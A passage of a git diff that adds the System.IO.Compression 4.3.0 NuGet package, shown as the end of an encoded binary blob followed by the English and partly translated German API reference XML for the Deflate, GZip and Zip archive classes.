zU(={+zZg_}_KobyD%|`mAWfN8-@uL3+$Oq7x|z9di~XhrchbbxoM(m7^liRe>@%f7Y~B1j%I>NkC)zLfyIuS}=DCd! zZQQn()+&W}PpGAAuxxn~UgKz;I#=tX?1H^(xQkbIUmr_!*1NDw>dc<~0%F_RqrOGa zHs^$yfNx4k9aQX0&7snnxme2NenrdM*M@M;4Nw?0Ir}`79 z(VLG=%ZZ9-7nN}@+6oBnCFtqe@FvN6Mu?s(_59SldXXwyet}a_@(Wu%*6xcTeqmV` z)tF|vSxt{Ve(6%k->TDmqcHdO`w*tx^BF?hm)Z!X2-XRfB&o}tWiU>3KDn$yKHFq> zMMC%eQv)e)hJYIe}iTPUq}vwk6M? zq`Ss^Puq3AGA?d*jbEay_*|bGbe?<{%9DSO`w}+((-YT#OW`+L!Vx>oyo^S;&`9C? zsz#CN;14JK-}}7`hjzyzWV$Aqx>Wl0<73FOqCHFJzx$dXx+rf_0h)Vw*Tre&rAt-M zdBy$%KCm1|<;4NxgqG}9Ke?y>hT1wo={=7AnHJycUN6o&{wZY*Es`_VPROYVo!Hhr z#ouRQE$XvR@$SpKd$yk&=dNhV^9wrl?TFOWs=8?BRh5qtLd4^2xvv5PrKtNC zcUI1>PjM?~dLQI`Y4)Wp_sehGKXRC3py&lx^lOx4VdlY>f&;EBBbucV+^`UW3et&$?!1gsdooV` z4EWEf;357pv;6uHz_Z*!xYWLJ{h|AbXwX>RZYS~EZ$G(Y+^Eu?Wi)k` zbJtXtEThcPTt?*D(2RhRTkAd6oxijdpQuX|bfYgYQ1CPtt0c^x(FNEwc@#7wo@;gx#`=cyv=Q*ZQDoU3sRnW?ayAmFX($#>km z1WC30kBUux7@C zn_HDG{ZDV{4J{-wj|^&nnt^u+U!?v&xTW_eWy1nB4_}~S7l<-8q8aPZjMYD_Q8Q5M zp(Q3kf&Qm!R3CS@fd#6AkH2B~!2hA~H&&=V@Vl$w6)N`2!oRgb6?&QNE8cSX+2%WT6B3)m-&L}lT^F5 zq)lGyha9z#RQzO^mce?s|3pmdm7AZh%|+PmsH3*##9Qs8!cD8EjjK5Mo!p$T%V@IB z_bEpWf1G@=%J@uJ=+?(Uwr@V%+!C>7MgQ!uMUB;yMc0mPv1}VPc@A^OJdL=E+jkdC z{I+PprrB#!_r~36-u_js&!S;N_vJ#$rmQ`cJC%=+?H8AyNZ+PuK|L|%MR;3Jchy4X zv@w!%X_i6B1#=DvE|bhrIL#=MzP`0V!ewiE_3ax)w>uUr?rgT2BhnPY-K;6hcvS2& znqB#!8EJY&7uvIaLJ!L&_4Sv1t_ORbauzaT*eUxnt`~_MvOLpv`FaEIIOm31cli>+ z==5Hd9K8U`V>2FI6`!(Y?$Sgn;g_2Y-mZLROp_V+>6~GJjz-VbLtc+`%S-k@-gK(6kF+?$y5K5bcMsB%T)=(H0@o;Xg-^_lY^|4#Lk=h07t z&euIf&wa0b>Den@72^G7$LLWOh84G_3eY;l^L$Jnb%^Mw-YZ>bI$HSjBeTc#p{t*A zv)yE1!g&N|1{X%087y7%s!gYPms>JE`z-x+_W5T``p6%_m>A)A$N4{k!O;KC+5cZo zRL7@yE}`VCIPy8{w#vr3E1ueBr?NQ3{?y)7+99hSh=6L;!^uzOo{>~6!%2OoHn)sQ zF;;ayaYO6~GIvKUcYD!?6BZ4Xq2w!HZWX){BfTyi zrRD=s!G%FPc*DQy>h#R`o!6(o|2QWSbsC%Xq^NCyL#|IZ;&_dFszz&VV4vJP;qep` z3ytSOob5Zup>xdyF*u9-0v!-BASn=r{0^$bBTA8zMZr@@bJIXuDL1K01 zq2=i8I{`_X-i>M*w`!{PLd|OULt?I&;lZ|AN5;T>>TX~3^v zush%bvkUn9>Hn{0mp>`{S4aQ9x?6*L|KVpbp^JkGDNbu$^o$fVEv9LmWNJo9ta!z< z=4iZ}zHWBsOy_)S@fRmWn;S@RakAx{h)N> zXCBU)7p3Znx93Oy?*0zAk55JERQXk4wy( zJ1glbf!*4=Oyb6_iwA34vS{?FRY{YTyB|y1OP;v7=tVw{lm>2D2DXLGc%J`Xyg?`! zLxDC7AODl&k(3uop$>2Lp9{JeEHvNU%DLcM)|i)Z0nMn|lTm?YocfO}y?^EqFH150+zpO@@Ze|8dw$)b8<|926G>HzYk{kk|cloM>jJygC7nJ5sU^2XbLQ{2Cm`2UK5V!4Po_187u%i^ALvr zT!*N3mk9T}Vc!U0CAWbDnh7_s1ZE?$6X|f0J#>!;-@N8gP+=?^N#Xgde12FcpZW{S z_-`~wi*-7um@>RA67PsmBI?4XQ$@TKjD^|+;Fk_7ljxmF6JL&Ht!=ZqkuG*jd7Vxk z>A@1=?5Yn6Un8n!#>fDN{L%W^E96_b!HZve zt*+MUt#i%a<*@lmjpBhfeUh@XN^=)X-gC&%c{x(4=j)PU|qSOz4sMg}uq<)t0xUSMEBRWxvhW za@8V>)`>cYr@}>=PcZmC;Dc}dKf4tiaDDw|Wi!(C#UmJ@%0nIxxZoxJlTQQv)t9x& zb84Y)S&YhA%SocMjkK&4l4K^(=;5OtH8Ey*XXYiN87(6UAd1m5?w}dB(2QC%ql7H? zyWtD>PSK3?Jq!PT6c$`s>wc*u?T9t?-topUT6zr4D4&8q0aSzr1O7_WXcJw#U0C~Wfz#?V?XFeHkYT1DeUV!TysHGwbOQE?zuw_ylHD;-TZ$5 Drw(WN literal 0 HcmV?d00001 diff --git a/packages/System.IO.Compression.4.3.0/ref/netstandard1.3/System.IO.Compression.xml b/packages/System.IO.Compression.4.3.0/ref/netstandard1.3/System.IO.Compression.xml new file mode 100644 index 0000000..8d194f6 --- /dev/null +++ b/packages/System.IO.Compression.4.3.0/ref/netstandard1.3/System.IO.Compression.xml @@ -0,0 +1,430 @@ + + + + System.IO.Compression + + + + Specifies values that indicate whether a compression operation emphasizes speed or compression size. + + + The compression operation should complete as quickly as possible, even if the resulting file is not optimally compressed. + + + No compression should be performed on the file. + + + The compression operation should be optimally compressed, even if the operation takes a longer time to complete. + + + Specifies whether to compress or decompress the underlying stream. + + + Compresses the underlying stream. + + + Decompresses the underlying stream. + + + Provides methods and properties for compressing and decompressing streams by using the Deflate algorithm. + + + Initializes a new instance of the class by using the specified stream and compression level. + The stream to compress. + One of the enumeration values that indicates whether to emphasize speed or compression efficiency when compressing the stream. + + is null. + The stream does not support write operations such as compression. (The property on the stream object is false.) + + + Initializes a new instance of the class by using the specified stream and compression level, and optionally leaves the stream open. + The stream to compress. + One of the enumeration values that indicates whether to emphasize speed or compression efficiency when compressing the stream. + true to leave the stream object open after disposing the object; otherwise, false. + + is null. + The stream does not support write operations such as compression. (The property on the stream object is false.) + + + Initializes a new instance of the class by using the specified stream and compression mode. + The stream to compress or decompress. + One of the enumeration values that indicates whether to compress or decompress the stream. + + is null. + + is not a valid value.-or- is and is false.-or- is and is false. + + + Initializes a new instance of the class by using the specified stream and compression mode, and optionally leaves the stream open. + The stream to compress or decompress. + One of the enumeration values that indicates whether to compress or decompress the stream. + true to leave the stream open after disposing the object; otherwise, false. + + is null. + + is not a valid value.-or- is and is false.-or- is and is false. + + + Gets a reference to the underlying stream. + A stream object that represents the underlying stream. + The underlying stream is closed. + + + Gets a value indicating whether the stream supports reading while decompressing a file. + true if the value is Decompress, and the underlying stream is opened and supports reading; otherwise, false. + + + Gets a value indicating whether the stream supports seeking. + false in all cases. + + + Gets a value indicating whether the stream supports writing. + true if the value is Compress, and the underlying stream supports writing and is not closed; otherwise, false. + + + Releases the unmanaged resources used by the and optionally releases the managed resources. + true to release both managed and unmanaged resources; false to release only unmanaged resources. + + + The current implementation of this method has no functionality. + The stream is closed. + + + + + + This property is not supported and always throws a . + A long value. + This property is not supported on this stream. + + + + + + This property is not supported and always throws a . + A long value. + This property is not supported on this stream. + + + + + + Reads a number of decompressed bytes into the specified byte array. + The number of bytes that were read into the byte array. + The array to store decompressed bytes. + The byte offset in at which the read bytes will be placed. + The maximum number of decompressed bytes to read. + + is null. + The value was Compress when the object was created.- or - The underlying stream does not support reading. + + or is less than zero.-or- length minus the index starting point is less than . + The data is in an invalid format. + The stream is closed. + + + This operation is not supported and always throws a . + A long value. + The location in the stream. + One of the values. + This property is not supported on this stream. + + + This operation is not supported and always throws a . + The length of the stream. + This property is not supported on this stream. + + + Writes compressed bytes to the underlying stream from the specified byte array. + The buffer that contains the data to compress. + The byte offset in from which the bytes will be read. + The maximum number of bytes to write. + + + Provides methods and properties used to compress and decompress streams. + + + Initializes a new instance of the class by using the specified stream and compression level. + The stream to write the compressed data to. + One of the enumeration values that indicates whether to emphasize speed or compression efficiency when compressing the stream. + + is null. + The stream does not support write operations such as compression. (The property on the stream object is false.) + + + Initializes a new instance of the class by using the specified stream and compression level, and optionally leaves the stream open. + The stream to write the compressed data to. + One of the enumeration values that indicates whether to emphasize speed or compression efficiency when compressing the stream. + true to leave the stream object open after disposing the object; otherwise, false. + + is null. + The stream does not support write operations such as compression. (The property on the stream object is false.) + + + Initializes a new instance of the class by using the specified stream and compression mode. + The stream the compressed or decompressed data is written to. + One of the enumeration values that indicates whether to compress or decompress the stream. + + is null. + + is not a valid enumeration value.-or- is and is false.-or- is and is false. + + + Initializes a new instance of the class by using the specified stream and compression mode, and optionally leaves the stream open. + The stream the compressed or decompressed data is written to. + One of the enumeration values that indicates whether to compress or decompress the stream. + true to leave the stream open after disposing the object; otherwise, false. + + is null. + + is not a valid value.-or- is and is false.-or- is and is false. + + + Gets a reference to the underlying stream. + A stream object that represents the underlying stream. + The underlying stream is closed. + + + + + + Gets a value indicating whether the stream supports reading while decompressing a file. + true if the value is Decompress, and the underlying stream supports reading and is not closed; otherwise, false. + + + + + + Gets a value indicating whether the stream supports seeking. + false in all cases. + + + Gets a value indicating whether the stream supports writing. + true if the value is Compress, and the underlying stream supports writing and is not closed; otherwise, false. + + + + + + Releases the unmanaged resources used by the and optionally releases the managed resources. + true to release both managed and unmanaged resources; false to release only unmanaged resources. + + + The current implementation of this method has no functionality. + The stream is closed. + + + + + + This property is not supported and always throws a . + A long value. + This property is not supported on this stream. + + + + + + This property is not supported and always throws a . + A long value. + This property is not supported on this stream. + + + + + + Reads a number of decompressed bytes into the specified byte array. + The number of bytes that were decompressed into the byte array. If the end of the stream has been reached, zero or the number of bytes read is returned. + The array used to store decompressed bytes. + The byte offset in at which the read bytes will be placed. + The maximum number of decompressed bytes to read. + + is null. + The value was Compress when the object was created.- or -The underlying stream does not support reading. + + or is less than zero.-or- length minus the index starting point is less than . + The data is in an invalid format. + The stream is closed. + + + This property is not supported and always throws a . + A long value. + The location in the stream. + One of the values. + This property is not supported on this stream. + + + This property is not supported and always throws a . + The length of the stream. + This property is not supported on this stream. + + + Writes compressed bytes to the underlying stream from the specified byte array. + The buffer that contains the data to compress. + The byte offset in from which the bytes will be read. + The maximum number of bytes to write. + The write operation cannot be performed because the stream is closed. + + + Represents a package of compressed files in the zip archive format. + + + Initializes a new instance of the class from the specified stream. + The stream that contains the archive to be read. + The stream is already closed or does not support reading. + + is null. + The contents of the stream are not in the zip archive format. + + + Initializes a new instance of the class from the specified stream and with the specified mode. + The input or output stream. + One of the enumeration values that indicates whether the zip archive is used to read, create, or update entries. + The stream is already closed, or the capabilities of the stream do not match the mode. + + is null. + + is an invalid value. + The contents of the stream could not be interpreted as a zip archive.-or- is and an entry is missing from the archive or is corrupt and cannot be read.-or- is and an entry is too large to fit into memory. + + + Initializes a new instance of the class on the specified stream for the specified mode, and optionally leaves the stream open. + The input or output stream. + One of the enumeration values that indicates whether the zip archive is used to read, create, or update entries. + true to leave the stream open after the object is disposed; otherwise, false. + The stream is already closed, or the capabilities of the stream do not match the mode. + + is null. + + is an invalid value. + The contents of the stream could not be interpreted as a zip archive.-or- is and an entry is missing from the archive or is corrupt and cannot be read.-or- is and an entry is too large to fit into memory. + + + Initializes a new instance of the class on the specified stream for the specified mode, uses the specified encoding for entry names, and optionally leaves the stream open. + The input or output stream. + One of the enumeration values that indicates whether the zip archive is used to read, create, or update entries. + true to leave the stream open after the object is disposed; otherwise, false. + The encoding to use when reading or writing entry names in this archive. Specify a value for this parameter only when an encoding is required for interoperability with zip archive tools and libraries that do not support UTF-8 encoding for entry names. + The stream is already closed, or the capabilities of the stream do not match the mode. + + is null. + + is an invalid value. + The contents of the stream could not be interpreted as a zip archive.-or- is and an entry is missing from the archive or is corrupt and cannot be read.-or- is and an entry is too large to fit into memory. + + + Creates an empty entry that has the specified path and entry name in the zip archive. + An empty entry in the zip archive. + A path, relative to the root of the archive, that specifies the name of the entry to be created. + + is . + + is null. + The zip archive does not support writing. + The zip archive has been disposed. + + + Creates an empty entry that has the specified entry name and compression level in the zip archive. + An empty entry in the zip archive. + A path, relative to the root of the archive, that specifies the name of the entry to be created. + One of the enumeration values that indicates whether to emphasize speed or compression effectiveness when creating the entry. + + is . + + is null. + The zip archive does not support writing. + The zip archive has been disposed. + + + Releases the resources used by the current instance of the class. + + + Called by the and methods to release the unmanaged resources used by the current instance of the class, and optionally finishes writing the archive and releases the managed resources. + true to finish writing the archive and release unmanaged and managed resources; false to release only unmanaged resources. + + + Gets the collection of entries that are currently in the zip archive. + The collection of entries that are currently in the zip archive. + The zip archive does not support reading. + The zip archive has been disposed. + The zip archive is corrupt, and its entries cannot be retrieved. + + + Retrieves a wrapper for the specified entry in the zip archive. + A wrapper for the specified entry in the archive; null if the entry does not exist in the archive. + A path, relative to the root of the archive, that identifies the entry to retrieve. + + is . + + is null. + The zip archive does not support reading. + The zip archive has been disposed. + The zip archive is corrupt, and its entries cannot be retrieved. + + + Gets a value that describes the type of action the zip archive can perform on entries. + One of the enumeration values that describes the type of action (read, create, or update) the zip archive can perform on entries. + + + Represents a compressed file within a zip archive. + + + Gets the zip archive that the entry belongs to. + The zip archive that the entry belongs to, or null if the entry has been deleted. + + + Gets the compressed size of the entry in the zip archive. + The compressed size of the entry in the zip archive. + The value of the property is not available because the entry has been modified. + + + Deletes the entry from the zip archive. + The entry is already open for reading or writing. + The zip archive for this entry was opened in a mode other than . + The zip archive for this entry has been disposed. + + + Gets the relative path of the entry in the zip archive. + The relative path of the entry in the zip archive. + + + Gets or sets the last time the entry in the zip archive was changed. + The last time the entry in the zip archive was changed. + The attempt to set this property failed, because the zip archive for the entry is in mode. + The archive mode is set to .- or -The archive mode is set to and the entry has been opened. + An attempt was made to set this property to a value that is either earlier than 1980 January 1 0:00:00 (midnight) or later than 2107 December 31 23:59:58 (one second before midnight). + + + Gets the uncompressed size of the entry in the zip archive. + The uncompressed size of the entry in the zip archive. + The value of the property is not available because the entry has been modified. + + + Gets the file name of the entry in the zip archive. + The file name of the entry in the zip archive. + + + Opens the entry from the zip archive. + The stream that represents the contents of the entry. + The entry is already currently open for writing.-or-The entry has been deleted from the archive.-or-The archive for this entry was opened with the mode, and this entry has already been written to. + The entry is either missing from the archive or is corrupt and cannot be read. -or-The entry has been compressed by using a compression method that is not supported. + The zip archive for this entry has been disposed. + + + Retrieves the relative path of the entry in the zip archive. + The relative path of the entry, which is the value stored in the property. + + + Specifies values for interacting with zip archive entries. + + + Only creating new archive entries is permitted. + + + Only reading archive entries is permitted. + + + Both read and write operations are permitted for archive entries. + + + \ No newline at end of file diff --git a/packages/System.IO.Compression.4.3.0/ref/netstandard1.3/de/System.IO.Compression.xml b/packages/System.IO.Compression.4.3.0/ref/netstandard1.3/de/System.IO.Compression.xml new file mode 100644 index 0000000..e7d6bfc --- /dev/null +++ b/packages/System.IO.Compression.4.3.0/ref/netstandard1.3/de/System.IO.Compression.xml @@ -0,0 +1,430 @@ + + + + System.IO.Compression + + + + Gibt Werte an, die angeben, ob ein Komprimierungsvorgang die Geschwindigkeit oder den Komprimierungsumfang hervorhebt. + + + Der Komprimierungsvorgang soll so schnell wie möglich beendet werden, auch wenn die resultierende Datei nicht optimal komprimiert wird. + + + Bei der Datei sollte keine Komprimierung erfolgen. + + + Der Komprimierungsvorgang soll optimal ausgeführt werden, auch wenn der Vorgang eine längere Zeit in Anspruch nimmt. + + + Gibt an, ob der zugrunde liegende Stream komprimiert oder dekomprimiert werden soll. + + + Komprimiert den zugrunde liegenden Stream. + + + Dekomprimiert den zugrunde liegenden Stream. + + + Stellt Methoden und Eigenschaften zum Komprimieren und Dekomprimieren von Streams mithilfe des Deflate-Algorithmus bereit. + + + Initialisiert eine neue Instanz der -Klasse mithilfe des angegebenen Stream- und Komprimierungsgrads. + Der zu komprimierende Stream. + Einer der Enumerationswerte, der angibt, ob die Geschwindigkeit oder Komprimierungsleistungsfähigkeit priorisiert wird, wenn der Stream komprimiert wird. + + ist null. + Der Stream unterstützt keine Schreibvorgänge wie die Komprimierung.(Die -Eigenschaft für das Streamobjekt ist false). + + + Initialisiert eine neue Instanz der -Klasse unter Verwendung des angegebenen Streams und der Komprimierungsebene und lässt den Stream optional geöffnet. + Der zu komprimierende Stream. + Einer der Enumerationswerte, der angibt, ob die Geschwindigkeit oder Komprimierungsleistungsfähigkeit priorisiert wird, wenn der Stream komprimiert wird. + true, um das Streamobjekt offen zu lassen, nachdem das -Objekt freigegeben wurde, andernfalls false. + + ist null. + Der Stream unterstützt keine Schreibvorgänge wie die Komprimierung.(Die -Eigenschaft für das Streamobjekt ist false). + + + Initialisiert eine neue Instanz der -Klasse mithilfe des angegebenen Stream- und Komprimierungsmodus. + Der zu komprimierende oder zu dekomprimierende Stream. + Einer der Enumerationswerte, der angibt, ob der Stream gelesen oder geschrieben wird. + + ist null. + + ist kein gültiger -Wert.- oder - ist und ist false.- oder - ist und ist false. + + + Initialisiert eine neue Instanz der -Klasse unter Verwendung des angegebenen Streams und des Komprimierungsmodus und lässt den Stream optional geöffnet. + Der zu komprimierende oder zu dekomprimierende Stream. + Einer der Enumerationswerte, der angibt, ob der Stream gelesen oder geschrieben wird. + true, um den Stream offen zu lassen, nachdem das -Objekt freigegeben wurde, andernfalls false. + + ist null. + + ist kein gültiger -Wert.- oder - ist und ist false.- oder - ist und ist false. + + + Ruft einen Verweis auf den zugrunde liegenden Stream ab. + Ein Streamobjekt, das den zugrunde liegenden Stream darstellt. + Der zugrunde liegende Stream ist geschlossen. + + + Ruft einen Wert ab, der angibt, ob der Stream Lesevorgänge unterstützt, während eine Datei dekomprimiert wird. + true, wenn der -Wert Decompress ist und der zugrunde liegende Stream geöffnet ist und Lesevorgänge unterstützt, andernfalls false. + + + Ruft einen Wert, der angibt, ob der Stream Suchvorgänge unterstützt. + false in allen Fällen. + + + Ruft einen Wert, der angibt, ob der Stream Schreibvorgänge unterstützt. + true, wenn der -Wert gleich Compress ist und der zugrunde liegende Stream Schreibvorgänge unterstützt und nicht geschlossen ist, andernfalls false. + + + Gibt die von verwendeten nicht verwalteten Ressourcen und optional die verwalteten Ressourcen frei. + true, um sowohl verwaltete als auch nicht verwaltete Ressourcen freizugeben, false, um ausschließlich nicht verwaltete Ressourcen freizugeben. + + + Die aktuelle Implementierung dieser Methode hat keine Funktion. + Der Stream ist geschlossen. + + + + + + Diese Eigenschaft wird nicht unterstützt und löst immer eine aus. + Ein Long-Wert. + Diese Eigenschaft wird für diesen Stream nicht unterstützt. + + + + + + Diese Eigenschaft wird nicht unterstützt und löst immer eine aus. + Ein Long-Wert. + Diese Eigenschaft wird für diesen Stream nicht unterstützt. + + + + + + Liest eine Anzahl von dekomprimierten Bytes in das angegebene Bytearray. + Die Anzahl von Bytes, die in das Bytearray gelesen wurden. + Das Array zum Speichern von dekomprimierten Bytes. + Das Byteoffset in , an dem die gelesenen Bytes platziert werden. + Die maximale Anzahl der zu lesenden dekomprimierten Bytes. + + ist null. + Der -Wert war Compress, als das Objekt erstellt wurde.- oder - Der zugrunde liegende Stream unterstützt keine Lesevorgänge. + + oder ist kleiner als 0.- oder - Die -Länge minus des Indexausgangspunkts ist kleiner als . + Die Daten haben ein ungültiges Format. + Der Stream ist geschlossen. + + + Dieser Vorgang wird nicht unterstützt und löst immer eine aus. + Ein Long-Wert. + Die Position im Stream. + Einer der -Werte. + Diese Eigenschaft wird für diesen Stream nicht unterstützt. + + + Dieser Vorgang wird nicht unterstützt und löst immer eine aus. + Die Länge des Streams. + Diese Eigenschaft wird für diesen Stream nicht unterstützt. + + + Schreibt komprimierte Bytes aus dem angegebenen Bytearray in den zugrunde liegenden Stream. + Der Puffer, der die zu komprimierenden Daten enthält. + Das Byteoffset in , aus dem die Bytes gelesen werden. + Die maximale Anzahl der zu schreibenden Bytes. + + + Stellt Methoden und Eigenschaften bereit, die zum Komprimieren und Dekomprimieren von Streams verwendet werden. + + + Initialisiert eine neue Instanz der -Klasse mithilfe des angegebenen Stream- und Komprimierungsgrads. + Der Stream, in den die komprimierten Daten geschrieben werden. + Einer der Enumerationswerte, der angibt, ob die Geschwindigkeit oder Komprimierungsleistungsfähigkeit priorisiert wird, wenn der Stream komprimiert wird. + + ist null. + Der Stream unterstützt keine Schreibvorgänge wie die Komprimierung.(Die -Eigenschaft für das Streamobjekt ist false). + + + Initialisiert eine neue Instanz der -Klasse unter Verwendung des angegebenen Streams und der Komprimierungsebene und lässt den Stream optional geöffnet. + Der Stream, in den die komprimierten Daten geschrieben werden. + Einer der Enumerationswerte, der angibt, ob die Geschwindigkeit oder Komprimierungsleistungsfähigkeit priorisiert wird, wenn der Stream komprimiert wird. + true, um das Streamobjekt offen zu lassen, nachdem das -Objekt freigegeben wurde, andernfalls false. + + ist null. + Der Stream unterstützt keine Schreibvorgänge wie die Komprimierung.(Die -Eigenschaft für das Streamobjekt ist false). + + + Initialisiert eine neue Instanz der -Klasse mithilfe des angegebenen Stream- und Komprimierungsmodus. + Der Stream, in den die komprimierten oder dekomprimierten Daten geschrieben werden. + Einer der Enumerationswerte, der angibt, ob der Stream gelesen oder geschrieben wird. + + ist null. + + ist kein gültiger -Enumerationswert.- oder - ist und ist false.- oder - ist und ist false. + + + Initialisiert eine neue Instanz der -Klasse unter Verwendung des angegebenen Streams und des Komprimierungsmodus und lässt den Stream optional geöffnet. + Der Stream, in den die komprimierten oder dekomprimierten Daten geschrieben werden. + Einer der Enumerationswerte, der angibt, ob der Stream gelesen oder geschrieben wird. + true, um den Stream offen zu lassen, nachdem das -Objekt freigegeben wurde, andernfalls false. + + ist null. + + ist kein gültiger -Wert.- oder - ist und ist false.- oder - ist und ist false. + + + Ruft einen Verweis auf den zugrunde liegenden Stream ab. + Ein Streamobjekt, das den zugrunde liegenden Stream darstellt. + Der zugrunde liegende Stream ist geschlossen. + + + + + + Ruft einen Wert ab, der angibt, ob der Stream Lesevorgänge unterstützt, während eine Datei dekomprimiert wird. + true, wenn der -Wert gleich Decompress, ist und der zugrunde liegende Stream Lesevorgänge unterstützt und nicht geschlossen ist, andernfalls false. + + + + + + Ruft einen Wert, der angibt, ob der Stream Suchvorgänge unterstützt. + false in allen Fällen. + + + Ruft einen Wert, der angibt, ob der Stream Schreibvorgänge unterstützt. + true, wenn der -Wert gleich Compress ist und der zugrunde liegende Stream Schreibvorgänge unterstützt und nicht geschlossen ist, andernfalls false. + + + + + + Gibt die von verwendeten nicht verwalteten Ressourcen und optional die verwalteten Ressourcen frei. + true, um sowohl verwaltete als auch nicht verwaltete Ressourcen freizugeben, false, um ausschließlich nicht verwaltete Ressourcen freizugeben. + + + Die aktuelle Implementierung dieser Methode hat keine Funktion. + Der Stream ist geschlossen. + + + + + + Diese Eigenschaft wird nicht unterstützt und löst immer eine aus. + Ein Long-Wert. + Diese Eigenschaft wird für diesen Stream nicht unterstützt. + + + + + + Diese Eigenschaft wird nicht unterstützt und löst immer eine aus. + Ein Long-Wert. + Diese Eigenschaft wird für diesen Stream nicht unterstützt. + + + + + + Liest eine Anzahl von dekomprimierten Bytes in das angegebene Bytearray. + Die Anzahl der Bytes, die im Bytearray dekomprimiert wurden.Wenn das Ende des Streams erreicht worden ist, wird 0 oder die Anzahl der gelesenen Bytes zurückgegeben. + Das Array, das zum Speichern von dekomprimierten Bytes verwendet wird. + Das Byteoffset in , an dem die gelesenen Bytes platziert werden. + Die maximale Anzahl der zu lesenden dekomprimierten Bytes. + + ist null. + Der -Wert war Compress, als das Objekt erstellt wurde.- oder -Der zugrunde liegende Stream unterstützt keine Lesevorgänge. + + oder ist kleiner als 0.- oder - Die -Länge minus des Indexausgangspunkts ist kleiner als . + Die Daten haben ein ungültiges Format. + Der Stream ist geschlossen. + + + Diese Eigenschaft wird nicht unterstützt und löst immer eine aus. + Ein Long-Wert. + Die Position im Stream. + Einer der -Werte. + Diese Eigenschaft wird für diesen Stream nicht unterstützt. + + + Diese Eigenschaft wird nicht unterstützt und löst immer eine aus. + Die Länge des Streams. + Diese Eigenschaft wird für diesen Stream nicht unterstützt. + + + Schreibt komprimierte Bytes aus dem angegebenen Bytearray in den zugrunde liegenden Stream. + Der Puffer, der die zu komprimierenden Daten enthält. + Das Byteoffset in , aus dem die Bytes gelesen werden. + Die maximale Anzahl der zu schreibenden Bytes. + Der Schreibvorgang kann nicht ausgeführt werden, da der Stream geschlossen ist. + + + Stellt ein Paket komprimierter Dateien im Zip-Archiv-Format dar. + + + Initialisiert eine neue Instanz der -Klasse für den angegebenen Stream. + Ein Stream, der das zu lesende Archiv enthält. + The stream is already closed or does not support reading. + + is null. + The contents of the stream are not in the zip archive format. + + + Initialisiert eine neue Instanz der -Klasse aus dem angegebenen Stream und mit dem angegebenen Modus. + Der Eingabe- oder Ausgabestream. + Einer der Enumerationswerte, der angibt, ob das Zip-Archiv verwendet wird, um Einträge zu lesen, zu erstellen oder zu aktualisieren. + The stream is already closed, or the capabilities of the stream do not match the mode. + + is null. + + is an invalid value. + The contents of the stream could not be interpreted as a zip archive.-or- is and an entry is missing from the archive or is corrupt and cannot be read.-or- is and an entry is too large to fit into memory. + + + Initialisiert eine neue Instanz der -Klasse für den angegebenen Stream und den angegebenen Modus und lässt den Stream optional geöffnet. + Der Eingabe- oder Ausgabestream. + Einer der Enumerationswerte, der angibt, ob das Zip-Archiv verwendet wird, um Einträge zu lesen, zu erstellen oder zu aktualisieren. + true, um den Datenstrom geöffnet zu lassen, nach dem das -Objekt freigegeben wurde; andernfalls false. + The stream is already closed, or the capabilities of the stream do not match the mode. + + is null. + + is an invalid value. + The contents of the stream could not be interpreted as a zip archive.-or- is and an entry is missing from the archive or is corrupt and cannot be read.-or- is and an entry is too large to fit into memory. + + + Initialisiert eine neue Instanz der -Klasse für den angegebenen Stream und den angegebenen Modus und verwendet dabei die angegebene Codierung für Eintragsnamen und lässt den Stream optional geöffnet. + Der Eingabe- oder Ausgabestream. + Einer der Enumerationswerte, der angibt, ob das Zip-Archiv verwendet wird, um Einträge zu lesen, zu erstellen oder zu aktualisieren. + true, um den Datenstrom geöffnet zu lassen, nach dem das -Objekt freigegeben wurde; andernfalls false. + Die Codierung, die beim Lesen oder Schreiben von Eintragsnamen in diesem Archiv verwendet werden soll.Geben Sie einen Wert für diesen Parameter nur an, wenn eine Codierung für die Interoperabilität mit ZIP-Archiv-Tools und -Bibliotheken erforderlich ist, die die UTF-8-Codierung für Eintragsnamen nicht unterstützen. + The stream is already closed, or the capabilities of the stream do not match the mode. + + is null. + + is an invalid value. + The contents of the stream could not be interpreted as a zip archive.-or- is and an entry is missing from the archive or is corrupt and cannot be read.-or- is and an entry is too large to fit into memory. + + + Erstellt einen leeren Eintrag, der den angegebenen Pfad und Eintragsnamen im ZIP-Archiv Ebene verwendet. + Ein leerer Eintrag im ZIP-Archiv. + Ein Pfad relativ zum Stamm des Archivs, der den Namen des Eintrags angibt, der erstellt werden soll. + + is . + + is null. + The zip archive does not support writing. + The zip archive has been disposed. + + + Erstellt einen leeren Eintrag, der den angegebenen Eintragsnamen und die Komprimierung im ZIP-Archiv Ebene verwendet. + Ein leerer Eintrag im ZIP-Archiv. + Ein Pfad relativ zum Stamm des Archivs, der den Namen des Eintrags angibt, der erstellt werden soll. + Einer der Enumerationswerte, der angibt, ob Geschwindigkeit oder Komprimierungseffektivität priorisiert wird, wenn der Eintrag erstellt. + + is . + + is null. + The zip archive does not support writing. + The zip archive has been disposed. + + + Gibt alle von der aktuellen Instanz der -Klasse verwendeten Ressourcen frei. + + + Wird von den und -Methoden aufgerufen, um die nicht verwalteten Ressourcen freizugeben, die von der aktuellen Instanz der -Klasse verwendet werden, und beendet optional das Schreiben ins Archiv und gibt die verwalteten Ressourcen frei. + true, um das Schreiben des Archivs abzuschließen und sowohl nicht verwaltete als auch verwaltete Ressourcen freizugeben; false, um ausschließlich nicht verwaltete Ressourcen freizugeben. + + + Ruft die Auflistung von Einträgen ab, die das ZIP-Archiv momentan enthält. + Die Auflistung von Einträgen, die das ZIP-Archiv momentan enthält. + The zip archive does not support reading. + The zip archive has been disposed. + The zip archive is corrupt, and its entries cannot be retrieved. + + + Ruft einen Wrapper für den angegebenen Eintrag im Zip-Archiv ab. + Ein Wrapper für den angegebenen Eintrag im Archiv. null, wenn der Eintrag nicht im Archiv vorhanden ist. + Ein Pfad relativ zum Stamm des Archivs, das den Eintrag identifiziert, der abgerufen werden soll. + + is . + + is null. + The zip archive does not support reading. + The zip archive has been disposed. + The zip archive is corrupt, and its entries cannot be retrieved. + + + Ruft einen Wert ab, der den Typ der Aktion beschreibt, die das ZIP-Archiv für Einträge ausführen kann. + Einer der Enumerationswerte, der den Typ der Aktion (Lesen, Erstellen oder Update) beschreibt, die das Zip-Archiv bei Einträgen ausführen kann. + + + Stellt eine komprimierte Datei in einem Zip-Archiv dar. + + + Ruft das Zip-Archiv ab, zu dem der Eintrag gehört. + Das Zip-Archiv, zu dem der Eintrag gehört, oder null, wenn der Eintrag gelöscht wurde. + + + Ruft die komprimierte Größe des unkomprimierten Eintrags im ZIP-Archiv ab. + Die Größe des komprimierten Eintrags im ZIP-Archiv. + The value of the property is not available because the entry has been modified. + + + Löscht den Eintrag aus dem 